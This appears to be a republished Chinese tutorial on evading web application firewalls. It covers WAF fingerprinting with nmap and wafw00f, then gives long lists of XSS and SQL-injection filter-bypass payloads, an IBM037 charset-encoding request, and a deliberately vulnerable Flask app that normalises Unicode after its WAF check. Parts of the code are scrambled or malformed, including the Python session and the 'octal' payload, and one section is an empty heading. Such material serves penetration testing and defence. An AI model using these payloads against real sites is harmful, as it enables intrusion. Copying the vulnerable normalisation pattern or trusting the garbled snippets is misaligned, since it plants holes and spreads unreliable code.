介绍
WAF 是一种用于过滤和阻止恶意网络流量的网络安全解决方案。常见的供应商包括 CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure 和 Barracuda。
根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF 可能使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。您可以在这里阅读有关它们的更多信息。https://docs.python.org/3/library/re.html
WAF 还可以采用基于签名的检测,其中为已知的恶意字符串提供存储在数据库中的签名,并且防火墙将根据数据库的内容检查 Web 流量的签名。如果匹配,则流量被阻止。此外,一些防火墙使用基于启发式的检测。
识别WAF 通过 Web 代理、cURL 或浏览器开发工具的“网络”选项卡,可以检测防火墙的其他指示: 除了制作恶意查询和评估响应之外,还可以通过FIN/RST向服务器发送 TCP 数据包或实施旁路攻击来检测防火墙。例如,针对不同负载的防火墙的计时可以提示正在使用的 WAF。 自动化 1. 运行 Nmap 扫描 2. WafW00f https://github.com/Ekultek/WhatWaf 3. WhatWaf 绕过WAF
https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>.
标头中 WAF 的名称Server(例如Server: cloudflare)
与 WAF 关联的其他 HTTP 响应标头(例如CF-RAY: xxxxxxxxxxx)
看似由 WAF 设置的 Cookie(例如响应标头Set-Cookie: __cfduid=xxxxx)
提交恶意请求时的唯一响应代码。(例如412)
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
wafw00f example.com
1. 绕过正则表达式
常见的绕过方法包括更改有效负载的大小写、使用各种编码、替换函数或字符、使用替代语法以及使用换行符或制表符等等。
下面的示例演示了一些使用注释绕过正则表达式的方法。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
虽然混淆是绕过正则表达式的一种可能方法,但它们已分为不同的部分,以更专门地展示混淆技术的选择。
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt`6``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
2. 字符集
该技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。
$ python3
-- snip --
> import urllib.parse
'<script>alert("xss")</script>' > s =
"IBM037" )) urllib.parse.quote_plus(s.encode(
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n '
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
3. 内容大小
4. 统一码兼容性
Unicode 兼容性是一个概念,描述了将视觉上不同的字符分解为相同的基本抽象字符。它是unicode 等效形式的一种形式。例如,字符/(U+FF0F) 和/(U+002F) 是不同的,但在某些上下文中它们将具有相同的含义。
https://en.wikipedia.org/wiki/Unicode_equivalence
共享含义允许字符彼此兼容,这意味着它们都可以转换为标准正斜杠字符/(U+002F),尽管它们一开始是不同的字符。深入挖掘,/(U+FF0F) 和/(U+002F) 是否最终会成为相同的正斜杠字符取决于 Web 服务器对它们进行规范化或翻译的方式。
字符通常通过四种标准 Unicode 规范化算法之一进行规范化:
NFC:标准化形式规范组合
NFD:规范化形式规范分解
NFKC:标准化形式兼容性组合
NFKD:规范化形式兼容性分解
https://www.unicode.org/reports/tr15/
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
<img src=p onerror=’prompt(1)’>如果防火墙可能已检测到的初始有效负载,则使用 Unicode 兼容字符 ( <img src⁼p onerror⁼'prompt⁽1⁾'>) 构造的有效负载将保持检测不到。
在清理后对输入进行规范化的 Web 服务器可能容易因 Unicode 兼容性而受到 WAF 绕过,可以在这里找到兼容的字符。
https://www.compart.com/en/unicode
5. 未初始化的变量
潜在的方法是在您的请求中使用未初始化的变量(例如$u),如本文所示。
https://www.secjuice.com/web-application-firewall-waf-evasion/
原创文章,作者:速盾高防cdn,如若转载,请注明出处:https://www.sudun.com/ask/31956.html